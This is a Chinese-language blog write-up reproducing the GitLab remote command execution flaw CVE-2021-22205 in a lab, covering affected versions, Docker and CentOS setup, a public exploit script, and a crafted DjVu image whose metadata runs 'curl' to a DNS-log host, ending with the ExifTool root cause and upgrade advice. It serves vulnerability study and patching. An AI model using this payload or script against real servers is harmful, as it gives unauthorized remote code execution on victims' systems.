GitLab 远程命令执行漏洞复现(CVE-2021-22205)

漏洞描述

GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行,可执行系统命令。这是一个严重的问题。它现在在最新版本中得到缓解,漏洞编号CVE-2021-22205。

影响范围

以下版本范围内的 GitLab(CE/EE)受到漏洞影响:

1
2
3
11.9 <=  GitLab(CE/EE)< 13.8.8
13.9 <= GitLab(CE/EE)< 13.9.6
13.10 <= GitLab(CE/EE)< 13.10.3

环境搭建

获取镜像

我们找到在影响范围内的Gitlab包,对其进行下载,我们此处采用Kali Linux进行攻击

我们需要首先搭建Docker环境,使用pullDocker Hub上的Kali镜像进行拉取

1
docker pull kalilinux/kali-rolling

在下载完后我们可以得到一个什么工具都没有的纯净版本的Kali,接下来就是换源、下载工具等操作了

换源与工具安装

因为我们刚下载完一个纯净版Kali,系统是肯定没有vim编辑器的,我们先对其一些工具进行安装

1
2
3
4
5
6
apt-get update # 更新源
apt-get upgrade # 更新已安装的包
apt-get install vim
apt-get install git
apt-get install python
apt-get install net-tools

此处可能会出现一些问题,当我们安装Python时,它可能会提示你已经安装有Python2,此时我们在Python后加一个3变成apt-get install python3即可

在下载完成后我们使用Vim对系统的源进行修改:

1
vim /etc/apt/sources.list

之后我们在里面添加以下源:

1
2
3
4
# kali官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
# 中科大的源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

完成之后我们需要安装Kali的工具包:

1
apt-get install kali-linux-all

新版本中可能需要将kali-linux-all替换为kali-linux-everything

GITLAB获取-Win

因为相关的版本的GitLab环境较难寻找,此处使用Windows本地的Docker进行搭建

1
2
3
git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2021-22205/
docker-compose up -d

在执行完后我们可以进行访问相应端口,会出现如下界面:

GitLab获取-CentOS

首先我们需要安装 ssh

1
sudo yum install -y curl policycoreutils-python openssh-server

并将其设置开机自启动

1
sudo systemctl enable sshd  

启动ssh服务

1
sudo systemctl start sshd

我们找到对应的源,进行下载安装即可

1
2
3
4
# 添加gitlab镜像
wget https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/gitlab-ce-12.10.6-ce.0.el7.x86_64.rpm
# 安装gitlab
rpm -i gitlab-ce-12.10.6-ce.0.el7.x86_64.rpm

安装成功后出现如下图

此时我们便安装成功了,在Linux上安装完成

我们修改其配置文件,将其部署到本地localhost

1
vim  /etc/gitlab/gitlab.rb

将第六行中的external_url进行修改并保存

之后我们执行以下命令,将gitlab更新并重启

1
2
gitlab-ctl reconfigure
gitlab-ctl restart

我们便可以见到和Win上一样的界面了

尝试攻击

现成脚本

下载地址

1
https://github.com/Al1ex/CVE-2021-22205

我们将其git克隆到本地,因为命令执行无回显,可以使用DNS解析来进行判断是否有对其的网页解析

漏洞检测

1
python3 CVE-2021-22205.py -v true -t http://XXX.XXX.XXX.XXX:8080/

手动复现

我们此处启动对应的服务项,注册一个新用户,登录之后的界面如下

我们在个人主页里找到Snippets,新建一个

之后出现如下界面:

箭头所指的方向即为我们要上传DjVu格式的图片,即EXP

注意一下,上传到GitLab的图片格式任然要求是.jpg,不要修改为了.djvu

DjVu 格式图片制作

下载安装DjVuLibre地址

1
http://djvu.sourceforge.net/

准备好将要压缩图片的文本

1
2
3
4
(metadata
(Copyright "\
" . qx{curl cc.v2pzjb.dnslog.cn} . \
" b ") )

生成 EXP

1
djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt && mv rce.djvu rce.jpg

我们将其进行上传
我们可以看到如下:

此时我们的攻击已经完成,证明该漏洞的存在

在授权的情况下,我们可以直接通过BP对发送的请求包进行抓取,然后修改请求,进而实现对应的远程代码执行

我们也便不用再次生成对应的DjVu格式文件,可以直接修改传递参数来重复发包,达到攻击目的

修复建议

GitLab中的ExifTool处理图像文件时,会检查文件扩展名是否为jpgjpegtiff,符合条件的文件会交由ExifTool进行处理。但ExifTool会尝试通过文件内容确定文件格式,当其解析DjVu文件注释时,tok将被转换为 C 转义序列。攻击者可以在DjVu文件中插入恶意perl代码,并将其扩展名改为jpgjpegtiffd以绕过GitLab中的检查,从而在ExifTool中触发漏洞,最终在GitLab CE/EE服务器上远程执行代码。

此漏洞源于Exiftool自身的另一个漏洞CVE-2021-22204

所以本质上需要修复的是Exiftool的转换方式,在新版本中我们可以看到更新后采用了硬编码的形式去搜索和替换,来对 C 转义字符进行处理,同时删除eval函数,进而修复该漏洞。

则对于我们GitLab平台则是更新到影响范围外的版本即可。

参考链接

GitLab 远程命令执行漏洞复现(CVE-2021-22205) - FreeBuf网络安全行业门户

CVE-2021-22205 GitLab未授权RCE复现 - 腾讯云开发者社区-腾讯云 (tencent.com)

ExifTool CVE-2021-22204 - Arbitrary Code Execution | devcraft.io

CVE-2021-22204 GitLab RCE 之 exiftool 代码执行漏洞深入分析(二) (seebug.org)


GitLab 远程命令执行漏洞复现(CVE-2021-22205)
https://equinox-shame.github.io/2022/12/14/GitLab 远程命令执行漏洞复现(CVE-2021-22205)/
作者
梓曰
发布于
2022年12月14日
许可协议